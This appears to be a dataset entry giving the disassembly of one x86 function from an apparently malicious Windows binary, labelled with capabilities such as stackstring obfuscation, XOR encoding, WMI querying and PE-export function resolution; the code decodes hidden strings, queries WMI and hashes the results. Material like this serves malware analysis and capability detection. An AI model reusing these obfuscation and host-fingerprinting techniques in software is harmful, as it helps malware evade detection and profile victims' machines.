Function at 0x434800
Capabilities:
Connect to wmi namespace via wbemlocator
Contain obfuscated stackstrings
Encode data using xor
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x90
mov eax, dword [0x448e60]
mov dword [esp + 0x38], eax
mov dword [esp], 0x912b9f7b
mov dword [esp + 4], 0x9507931b
mov dword [esp + 8], 0x89319700
mov dword [esp + 0xc], 0x8d4e8b17
mov dword [esp + 0x10], 0x81158f1e
mov dword [esp + 0x14], 0x85258316
mov dword [esp + 0x18], 0x79868763
mov word [esp + 0x1c], 0
mov byte [esp + 0x1e], 0
mov esi, 0xfedf9e5
mov edi, 0xf012061a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + esi - 0xfedf9e5]
mov ebx, esi
and ebx, edx
add ebx, ebx
sub ebx, edx
add ebx, edi
and ebx, esi
mov eax, ebx
or al, 0xfd
inc al
mov ecx, ebx
and cl, 0xfd
mul cl
mov ecx, eax
add cl, dl
mov eax, ebx
shr al, 1
and al, 1
or bl, 2
mul bl
add al, al
sub cl, al
movzx eax, cl
add eax, esi
add al, 0x87
mov byte [esp + esi - 0xfedf9e5], al
inc esi
dec edi
cmp esi, 0xfedfa04
jne 0x434870
lea eax, [esp + 0x44]
lea esi, [esp + 0x68]
mov edi, esp
push eax
push 8
push esi
push 0xd
push edi
push 0
call dword [esp + 0x50]
test eax, eax
jns 0x4348df
mov dword [esp + 0x68], 0x3a0043
mov dword [esp + 0x6c], 0x5c
mov dword [esp + 0x50], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x40], 0
lea eax, [esp + 0x40]
push eax
push 0x440aac
push 1
push 0
push 0x440abc
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
mov ebx, dword [ebp + 8]
js 0x434de4
mov dword [esp], 0xd90bdb12
mov dword [esp + 4], 0xdd0adf09
mov dword [esp + 8], 0xd117d370
mov dword [esp + 0xc], 0xd505d70f
mov dword [esp + 0x10], 0xa95cab7e
mov dword [esp + 0x14], 0xafa8
mov byte [esp + 0x18], 0
mov eax, 0xa4a0e490
mov ecx, 0x2f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0x2f]
mov edx, ecx
and edx, esi
add edx, edx
mov edi, esi
sub edi, edx
lea ebx, [ecx + edi]
add ebx, 0xbfa1c900
sub edx, esi
add edx, eax
not edx
or edx, ebx
and edx, 0x14
or ebx, 0x14
add ebx, edx
add bl, 0x95
mov byte [esp + ecx - 0x2f], bl
dec eax
inc ecx
cmp ecx, 0x48
jne 0x434980
mov edi, esp
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x40]
mov ecx, dword [esi]
lea edx, [esp + 0x3c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x54], eax
push eax
push esi
call dword [ecx + 0xc]
test eax, eax
mov ebx, dword [ebp + 8]
lea esi, [esp + 0x68]
js 0x434dd0
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x58]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x434dc6
mov dword [esp + 2], 0x136c116d
mov dword [esp + 6], 0x1512
mov word [esp], 0x1f0d
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x54], eax
mov dword [esp], 0x3ffb398f
mov dword [esp + 4], 0x23e73df0
mov dword [esp + 8], 0x279221e7
mov dword [esp + 0xc], 0x2bc425c4
mov dword [esp + 0x10], 0x2fe429c8
mov dword [esp + 0x14], 0x13a12d9a
mov dword [esp + 0x18], 0x17f611dd
mov dword [esp + 0x1c], 0x1bb315af
mov dword [esp + 0x20], 0x1fc9198a
mov dword [esp + 0x24], 0x3a11dca
mov dword [esp + 0x28], 0x7cf01c6
mov dword [esp + 0x2c], 0xbbd05b7
mov dword [esp + 0x30], 0x908
mov eax, 0x8b2b934a
mov ecx, 0x74d46cb5
movzx edx, byte [esp + eax + 0x74d46cb6]
lea esi, [ecx - 0x74000000]
and esi, 0xc02ce3
mov edi, eax
and edi, 0x8b28801c
or edi, esi
xor edi, 0xff3cc01c
and edi, ecx
mov esi, edi
xor esi, edx
sub esi, edi
and edi, edx
add esi, edi
lea edi, [edx + edx]
not edi
add edi, edx
and edi, ecx
lea edx, [edi + edi]
not edx
add edx, edi
not esi
and edx, esi
add dl, 0x8e
mov byte [esp + eax + 0x74d46cb6], dl
inc eax
dec ecx
cmp eax, 0x8b2b937e
jne 0x434aa0
mov edi, esp
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x3c]
mov ecx, dword [esi]
lea edx, [esp + 0x60]
push edx
push 0
push 0x30
mov dword [esp + 0x70], eax
push eax
push dword [esp + 0x64]
push esi
call dword [ecx + 0x50]
test eax, eax
js 0x434db0
mov dword [esp + 0x58], 0
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
lea edx, [esp + 0x58]
lea esi, [esp + 0x5c]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x434da6
cmp eax, 1
je 0x434da6
cmp dword [esp + 0x58], 0
je 0x434da6
lea esi, [esp + 0x78]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x5c]
mov dword [esp], 0x610d633d
mov dword [esp + 4], 0x6d056f10
mov dword [esp + 8], 0x691c6b0b
mov dword [esp + 0xc], 0x75097724
mov dword [esp + 0x10], 0x711e7307
mov dword [esp + 0x14], 0x7d027f13
mov word [esp + 0x18], 0x7b7a
mov dword [esp + 0x1a], 0
xor ecx, ecx
nop
mov edx, ecx
add dl, 0xe4
xor dl, byte [esp + ecx]
add dl, 0x8c
mov byte [esp + ecx], dl
inc ecx
cmp ecx, 0x1e
jne 0x434bb0
mov ecx, dword [eax]
push 0
push 0
push esi
push 0
push edi
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x434d95
cmp word [esp + 0x78], 8
jne 0x434d95
mov esi, dword [esp + 0x80]
movzx ecx, word [esi]
test cx, cx
je 0x434c2d
lea eax, [esi + 2]
xor ebx, ebx
jmp 0x434c0c
inc ebx
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x434c2f
cmp cx, 0x7f
jbe 0x434c00
movzx edx, cx
cmp edx, 0x7ff
ja 0x434c22
add ebx, 2
jmp 0x434c01
cmp cx, 0xffff
je 0x434c01
add ebx, 3
jmp 0x434c01
xor ebx, ebx
lea eax, [ebx + 1]
push eax
call fcn.0040c880
add esp, 4
mov dword [esp + 0x34], eax
test ebx, ebx
je 0x434d78
movzx ecx, word [esi]
mov eax, dword [esp + 0x34]
test cx, cx
je 0x434d78
mov eax, dword [esp + 0x34]
nop
nop
nop
nop
nop
movzx edx, cx
lea edi, [esi + 2]
cmp dx, 0x7f
ja 0x434c80
lea ecx, [eax + 1]
mov byte [eax], dl
jmp 0x434d10
cmp edx, 0x7ff
ja 0x434ca5
cmp ebx, 2
jb 0x434ca5
mov ecx, edx
shr ecx, 6
add cl, 0xc0
mov byte [eax], cl
and dl, 0x3f
or dl, 0x80
lea ecx, [eax + 2]
mov byte [eax + 1], dl
jmp 0x434d10
mov ecx, edx
and ecx, 0xfc00
cmp ecx, 0xd800
jne 0x434d3a
cmp ebx, 4
jb 0x434d3a
movzx edi, word [esi + 2]
add esi, 4
shl edx, 0xa
lea ecx, [edx + edi]
add ecx, 0xfca02400
mov edx, ecx
shr edx, 0x12
add dl, 0x1a
mov byte [eax], dl
mov edx, ecx
shr edx, 0xc
and dl, 0x3f
or dl, 0x80
mov byte [eax + 1], dl
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [eax + 2], cl
mov ecx, edi
and cl, 0x3f
or cl, 0x80
mov edx, ecx
lea ecx, [eax + 4]
mov byte [eax + 3], dl
mov edi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
sub edx, eax
mov eax, ebx
not eax
and eax, edx
not edx
and edx, ebx
sub edx, eax
mov esi, edi
mov eax, ecx
mov ebx, edx
movzx ecx, word [esi]
test cx, cx
mov edi, esp
je 0x434d78
test ebx, ebx
jne 0x434c60
jmp 0x434d78
movzx ecx, cx
cmp ecx, 0xdc00
jne 0x434d49
mov esi, edi
jmp 0x434d26
cmp ebx, 3
jb 0x434d74
mov ecx, edx
shr ecx, 0xc
or cl, 0xe0
mov byte [eax], cl
mov ecx, edx
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [eax + 1], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 2], dl
lea ecx, [eax + 3]
jmp 0x434d10
mov ecx, eax
jmp 0x434d10
mov byte [eax], 0
mov ecx, dword [esp + 0x34]
mov eax, dword [ecx]
mov dword [esp + 0x44], eax
push ecx
call fcn.0040c890
add esp, 4
mov ebx, dword [ebp + 8]
lea esi, [esp + 0x78]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x5c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x54]
call esi
push dword [esp + 0x64]
call esi
lea esi, [esp + 0x68]
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x38]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x40]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp], 0
push 0x72a7c387
push dword [0x448e58]
call fcn.0043cfb0
add esp, 8
push 0
push 0
push 0
push 0
push edi
push 0
push 0
push esi
call eax
test eax, eax
je 0x434f8a
imul eax, dword [esp], 0x1a5845
add eax, 0xebde8a13
mov dword [esp + 0x44], eax
mov esi, 0xffffffff
push 0x10
push 9
push ebx
push eax
call fcn.0041ca20
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + esi + 1], 0
lea esi, [esi + 1]
jne 0x434e40
mov ecx, esi
and ecx, 0xfffffff7
not esi
and esi, 8
mov edx, esi
sub edx, ecx
je 0x434e6a
sub ecx, esi
add eax, ecx
push edx
push 0x30
push eax
call fcn.0040c900
add esp, 0xc
lea eax, [ebx + 8]
xor ecx, ecx
cmp dword [esp + 0x48], 0
setne cl
imul ecx, dword [esp + ecx*4 + 0x44], 0x1a5845
add ecx, 0xebde8a13
mov dword [esp + 0x48], ecx
mov esi, 0xffffffff
push 0x10
push 9
push eax
push ecx
call fcn.0041ca20
add esp, 0x10
nop
nop
nop
nop
cmp byte [eax + esi + 1], 0
lea esi, [esi + 1]
jne 0x434ea0
mov ecx, esi
and ecx, 0xfffffff7
not esi
and esi, 8
mov edx, esi
sub edx, ecx
je 0x434eca
sub ecx, esi
add eax, ecx
push edx
push 0x30
push eax
call fcn.0040c900
add esp, 0xc
lea eax, [ebx + 0x10]
xor ecx, ecx
cmp dword [esp + 0x4c], 0
setne cl
imul ecx, dword [esp + ecx*4 + 0x48], 0x1a5845
add ecx, 0xebde8a13
mov dword [esp + 0x4c], ecx
mov esi, 0xffffffff
push 0x10
push 9
push eax
push ecx
call fcn.0041ca20
add esp, 0x10
nop
nop
nop
nop
cmp byte [eax + esi + 1], 0
lea esi, [esi + 1]
jne 0x434f00
mov ecx, esi
and ecx, 0xfffffff7
not esi
and esi, 8
mov edx, esi
sub edx, ecx
je 0x434f2a
sub ecx, esi
add eax, ecx
push edx
push 0x30
push eax
call fcn.0040c900
add esp, 0xc
add ebx, 0x18
xor eax, eax
cmp dword [esp + 0x50], 0
setne al
imul eax, dword [esp + eax*4 + 0x4c], 0x1a5845
add eax, 0xebde8a13
mov esi, 0xffffffff
push 0x10
push 9
push ebx
push eax
call fcn.0041ca20
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + esi + 1], 0
lea esi, [esi + 1]
jne 0x434f60
mov ecx, esi
and ecx, 0xfffffff7
not esi
and esi, 8
mov edx, esi
sub edx, ecx
je 0x434f8a
sub ecx, esi
add eax, ecx
push edx
push 0x30
push eax
call fcn.0040c900
add esp, 0xc
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret